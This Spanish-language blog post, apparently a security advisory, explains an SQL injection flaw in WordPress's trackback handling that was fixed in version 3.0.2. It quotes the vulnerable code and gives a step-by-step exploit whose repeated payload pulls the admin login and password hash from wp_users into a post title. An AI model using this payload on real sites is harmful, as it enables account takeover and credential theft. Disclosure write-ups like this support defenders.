El pasado día 1 de Diciembre un hacker conocido por el nick M4g hizo público un fallo de seguridad en wordpress a través del cual un atacante remoto con permisos publish_posts y edit_published_posts podría realizar consultas sql arbitrarias y de esta forma obtener datos de la base de datos empleada por wordpress.

WordPress es a día de hoy, uno de los sistemas de gestión de contenidos enfocado a la creación de blogs más extendido en el mundo, realizando una búsqueda en google por “powered by wordpress”, nos devuelve unos 108.000.000 resultados.

Si editamos el fichero /wp-includes/comment.php, encontramos el siguiente código:


function do_trackbacks($post_id) {
    global $wpdb;

    $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
    $to_ping = get_to_ping($post_id);
    $pinged  = get_pung($post_id);
    if ( empty($to_ping) ) {
        $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
        return;
    }

    if ( empty($post->post_excerpt) )
        $excerpt = apply_filters('the_content', $post->post_content);
    else
        $excerpt = apply_filters('the_excerpt', $post->post_excerpt);
    $excerpt = str_replace(']]>', ']]>', $excerpt);
    $excerpt = wp_html_excerpt($excerpt, 252) . '...';

    $post_title = apply_filters('the_title', $post->post_title);
    $post_title = strip_tags($post_title);

    if ( $to_ping ) {
        foreach ( (array) $to_ping as $tb_ping ) {
            $tb_ping = trim($tb_ping);
            if ( !in_array($tb_ping, $pinged) ) {
                trackback($tb_ping, $post_title, $excerpt, $post_id);
                $pinged[] = $tb_ping;
            } else {
                $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
            }
        }
    }
}

Si nos fijamos en la línea 29, se hace uso de la variable to_ping. Dicha variable es empleada sin pasar ningún tipo de filtrado y es la que se emplea para realizar la inyección de código SQL.

Explotación:

Para poder llevar a cabo la inserción de código, el atacante debe cumplir dos requisitos, debe tener tanto permisos publish_posts así como permisos edit_published_posts, en definitiva, permisos otorgados a usuarios del grupo autor.

El primer paso es crear un nuevo post, no importan ni el título ni el contenido del mismo, y añadiríamos en el campo “Send trackbacks to:” la sentencia SQL con la siguiente estructura:

AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’

Y la publicaríamos. Tendremos que esperar un poco a que wp_cron.php procese el trackback. La función get_to_ping informa que el siguiente trackback tiene que ser procesado.

AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’

Ahora editamos el post y duplicamos el contenido del campo “send trackbacks to:”:

AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’
AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’

Haciendo que la función get_to_ping informe que los siguientes trackbacks tienen que ser procesados:

AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’
AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,’

El registro de consultas muestra que wordpress ejecuta la sentencia SQL de la siguiente forma:

UPDATE wp_posts
SET to_ping = TRIM(REPLACE(to_ping, ‘AAA’,”)),post_title=(select/**/concat(user_login,’|’,user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,”, ”))
WHERE ID = xx

Volvemos a esperar un poco para que se ejecute wp_cron.php y refrescamos la página, de esta forma veremos el resultado de nuestra consulta en el campo del título del post.

A fecha de hoy, wordpress ya ha corregido esta vulnerabilidad en su nueva versión 3.0.2 por lo que es recomendable la actualización de wordpress.

Más información:
http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/